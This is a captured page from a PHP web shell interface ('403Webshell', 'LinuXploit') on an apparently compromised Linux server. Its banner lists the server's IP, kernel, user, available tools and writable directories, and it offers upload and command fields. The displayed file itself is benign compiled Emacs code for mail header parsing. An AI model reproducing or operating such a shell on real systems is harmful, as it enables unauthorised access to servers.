403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/mail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/mail/mailheader.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@210 Extract headers from current buffer after point.
Returns a header alist, where each element is a cons cell (name . value),
where NAME is a symbol, and VALUE is the string value of the header having
that name.
(defalias 'mail-header-extract #[0 "\300`\300\211`\211\262\203n\301\300w\302V\203ng\303U\203n`\211\262\203n\300u\210\304\300w\302V\203n\305{\227!`\300\210`{C\300u\210\304\300w\302V\203P`\300\210`{B\262\2028\211A\203`\306\307\237\310#B\202d@BB\262\266\202b\210\237\207" [nil "^- :" 0 58 " 	" intern mapconcat identity " "] 11 (#$ . 85)])
#@230 Extract headers from current buffer after point, without properties.
Returns a header alist, where each element is a cons cell (name . value),
where NAME is a symbol, and VALUE is the string value of the header having
that name.
(defalias 'mail-header-extract-no-properties #[0 "\300\301\302 \"\207" [mapcar #[257 "\300\301AG\302A$\210\207" [set-text-properties 0 nil] 6 "\n\n(fn ELT)"] mail-header-extract] 3 (#$ . 668)])
#@363 Apply PARSING-RULES to HEADERS.
PARSING-RULES is an alist whose keys are header names (symbols) and whose
value is a parsing function.  The function takes one argument, a string,
and return a list of values, which will destructively replace the value
associated with the key in HEADERS, after being prepended with the original
value.

(fn PARSING-RULES HEADERS)
(defalias 'mail-header-parse #[514 "\211\2036\211@\211@\236\211\203.\211A:\203#\211AAA@!\241\266\202/\211AAA!B\241\210\210A\266\202\202\210\207" [] 9 (#$ . 1100)])
#@315 Return the value associated with header HEADER in HEADER-ALIST.
If the value is a string, it is the original value of the header.  If the
value is a list, its first element is the original value of the header,
with any subsequent elements being the result of parsing the value.

(fn HEADER &optional HEADER-ALIST)
(defalias 'mail-header #[513 "\206\236A\207" [headers] 4 (#$ . 1648)])
(byte-code "\300\301\302\303#\300\207" [function-put mail-header gv-expander #[385 "\300\301\302$\207" [gv--defsetter mail-header #[770 "\300F\207" [mail-header-set] 7 "\n\n(fn VALUE HEADER &optional HEADER-ALIST)"]] 7 "\n\n(fn DO &rest ARGS)"]] 4)
#@233 Set the value associated with header HEADER to VALUE in HEADER-ALIST.
HEADER-ALIST defaults to the dynamically bound variable `headers' if nil.
See `mail-header' for the semantics of VALUE.

(fn HEADER VALUE &optional HEADER-ALIST)
(defalias 'mail-header-set #[770 "\211\206\236\211\203\211\241\266\202BC\244\266\207" [headers] 8 (#$ . 2299)])
(make-obsolete 'mail-header-set 'alist-get "28.1")
#@511 Return a new header alist with MERGE-RULES applied to HEADERS.
MERGE-RULES is an alist whose keys are header names (symbols) and whose
values are forms to evaluate, the results of which are the new headers.  It
should be a string or a list of string.  The first element may be nil to
denote that the formatting functions must use the remaining elements, or
skip the header altogether if there are no other elements.
  The macro `mail-header' can be used to access headers in HEADERS.

(fn MERGE-RULES HEADERS)
(defalias 'mail-header-merge #[514 "\211\301\302\")\207" [headers mapcar #[257 "\211@\300A\301\"B\207" [eval t] 5 "\n\n(fn RULE)"]] 5 (#$ . 2717)])
(make-obsolete 'mail-header-merge 'alist-get "28.1")
(defvar mail-header-format-function #[514 "\300\301!!\302:\203@\202\303\261\207" [capitalize symbol-name ": " "\n"] 6 "Function to format headers without a specified formatting function.\n\n(fn HEADER VALUE)"])
#@991 Use FORMAT-RULES to format HEADERS and insert into current buffer.
HEADERS should be an alist of the form (HEADER . VALUE),
where HEADER is a header field name (a symbol or a string),
and VALUE is the contents for that header field.

FORMAT-RULES is an alist of elements (HEADER . FUNCTION) Here HEADER
is a header field name (a symbol), and FUNCTION is how to format that
header field, if it appears in HEADERS.  Each FUNCTION should take two
arguments: the header symbol, and the value of that header.  The value
returned by FUNCTION is inserted in the buffer unless it is nil.

If the function for a header field is nil, or if no function is
specified for a particular header field, the default action is to
insert the value of the header, unless it is nil.

The headers are inserted in the order of the FORMAT-RULES.
A key of t in FORMAT-RULES represents any otherwise unmentioned headers.
A key of nil has as its value a list of defaulted headers to ignore.

(fn FORMAT-RULES HEADERS)
(defalias 'mail-header-format #[514 "\301\302\236A\303\304\"\"\211\203n\211@\211@\305\";\203\"\306!\262\203e\307=\203W\211\203R\211@\211@>\204K\211@AA\206F\"\266A\266\202\202-\266\202g\211\203eA\206a\"\210\266A\266\202\202\210\310c\207" [mail-header-format-function append nil mapcar car alist-get intern t "\n"] 14 (#$ . 3658)])
(provide 'mailheader)

Youez - 2016 - github.com/yon3zu
LinuXploit